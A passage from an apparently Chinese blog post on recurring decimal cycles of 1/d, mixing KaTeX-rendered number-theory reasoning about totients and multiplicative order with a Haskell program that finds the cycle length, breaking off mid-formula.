style="margin-right:0.03588em;">q</span></span></span></span>使得 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>。这我不知道，但是在 1000 以内是不可能的。</p><p>那么对于**两个相邻质数 p,q 之间，存在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0126em;vertical-align:-0.2663em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span>不是 2 或 5 的倍数，也不是质数，但是 10^k mod x 的阶比 10^k mod p 的阶大吗？**也就是</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0163em;vertical-align:-0.2663em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>可能比 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 大吗？</p><p>这个数必然小于这些欧拉函数的乘积</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0163em;vertical-align:-0.2663em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>且<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>。而且除了质数 2 之外，p-1 必然是偶数，那么必然存在公因数 2，回到上一个问题，至少在 1000 以内是不可能。在除以 2 之后，一定比 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>小。</p><p>所以，循环节最长的数，一定是质数。假如能证明：</p><ol><li><strong>相邻两个质数 p, q 之间的数，除以 2 之后，一定比 p 小</strong>。</li><li><strong>有限小数乘以无限循环小数，不会改变循环节长度</strong>。</li></ol><p>这似乎已经有相关定理，可以证明第二点，而且可以得到非循环部分的长度。</p><h3 id="常规直观做法">常规直观做法</h3><p>循环小数一定是无限的，而且循环节中的数字可能重复。按照编码方面的经验，不读取到最后一个数字，是无法直到这一串数字，是否是循环节。所以必须设定一个最大可能的循环节长度。</p><p>其次，即使是循环节，那么不一定是最短的循环节，可能是最短循环节的倍数。比如说 001 循环，也会满足 001001 的循环。所以当找到一个循环节时，它的因子的长度，不能是循环节。</p><p>循环的部分，从任意地方选区循环节的长度，它的周期不变。就像 001 循环，实际上只看后半部分，也可以看作时 010 的循环。</p><p>所以，只要跳过足够的小数位，就一定是循环的部分，并且周期不变。那只要按着周期的长度，去找两段匹配上即可。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- Generates the decimal representation of 1/deno after the decimal point.</span></span><br><span class="line"><span class="title">afterPoint</span> :: <span class="type">Int</span> -&gt; [<span class="type">Int</span>]</span><br><span class="line"><span class="title">afterPoint</span> = afterPoint&#x27; <span class="number">1</span></span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    afterPoint&#x27; num deno =</span><br><span class="line">      <span class="keyword">let</span> (d, r) = (<span class="number">10</span> * num) `divMod` deno <span class="comment">-- Multiplies numerator by 10, divides by denominator, and keeps remainder.</span></span><br><span class="line">       <span class="keyword">in</span> d : afterPoint&#x27; r deno <span class="comment">-- Recursively continues with remainder as new numerator.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- Calculates the length of the recurring cycle in the decimal representation of 1/deno.</span></span><br><span class="line"><span class="title">recurCycle</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">recurCycle</span> deno = recurCycle&#x27; onlyCycle maxPossibleLen</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    maxSkip = myLog2 deno <span class="comment">-- Determines the number of digits to skip based on log base 2 of denominator.</span></span><br><span class="line">    onlyCycle = drop maxSkip $ afterPoint deno <span class="comment">-- Skips initial digits that don&#x27;t participate in the cycle.</span></span><br><span class="line">    maxPossibleLen = deno - <span class="number">1</span> <span class="comment">-- The maximum possible cycle length is deno - 1.</span></span><br><span class="line">    recurCycle&#x27; xs len</span><br><span class="line">      | all (== <span class="number">0</span>) (take maxPossibleLen xs) = <span class="number">0</span> <span class="comment">-- If all digits are zero, cycle length is 0.</span></span><br><span class="line">      | whenLen len &amp;&amp; not (any whenLen (factors len)) = len <span class="comment">-- Checks if current length satisfies cycle conditions.</span></span><br><span class="line">      | otherwise = recurCycle&#x27; xs (len - <span class="number">1</span>) <span class="comment">-- Otherwise, decreases length and tries again.</span></span><br><span class="line">      <span class="keyword">where</span></span><br><span class="line">        whenLen l = (l /= <span class="number">0</span>) &amp;&amp; listEq (take l xs) (drop l xs) <span class="comment">-- Checks if two subsequences of length l are equal.</span></span><br><span class="line">    myLog2 :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line">    myLog2 num = floor $ logBase <span class="number">2</span> (fromIntegral num) <span class="comment">-- Calculates the floor of log base 2 of a number.</span></span><br><span class="line">    listEq [] _ = <span class="type">True</span> <span class="comment">-- Base case for equality check: empty list is equal to any list.</span></span><br><span class="line">    listEq (x : xs) (y : ys) = (x == y) &amp;&amp; listEq xs ys <span class="comment">-- Recursive case: checks if heads are equal and proceeds to tails.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- Generates the list of factors of a number by finding divisors up to the square root and their complements.</span></span><br><span class="line"><span class="title">factors</span> :: <span class="type">Int</span> -&gt; [<span class="type">Int</span>]</span><br><span class="line"><span class="title">factors</span> num = <span class="keyword">let</span> halfFactors = filter ((== <span class="number">0</span>) . mod num) [<span class="number">2</span> .. floor . sqrt $ fromIntegral num] <span class="keyword">in</span> halfFactors ++ map (div num) (reverse halfFactors)</span><br></pre></td></tr></table></figure><h3 id="考虑循环节长度特征的做法">考虑循环节长度特征的做法</h3><p>循环小数的循环部分，实际上是一个数乘以几何级数，可以记做</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8747em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">in</span></span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>根据求和公式，可以得到</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.3593em;vertical-align:-0.7693em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.59em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6973em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.74em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop"><span class="mop">lim</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">→</span><span class="mord mtight">+</span><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">in</span></span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.3593em;vertical-align:-0.7693em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.59em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5904em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.74em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop"><span class="mop">lim</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">→</span><span class="mord mtight">+</span><span class="mord mtight">∞</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span 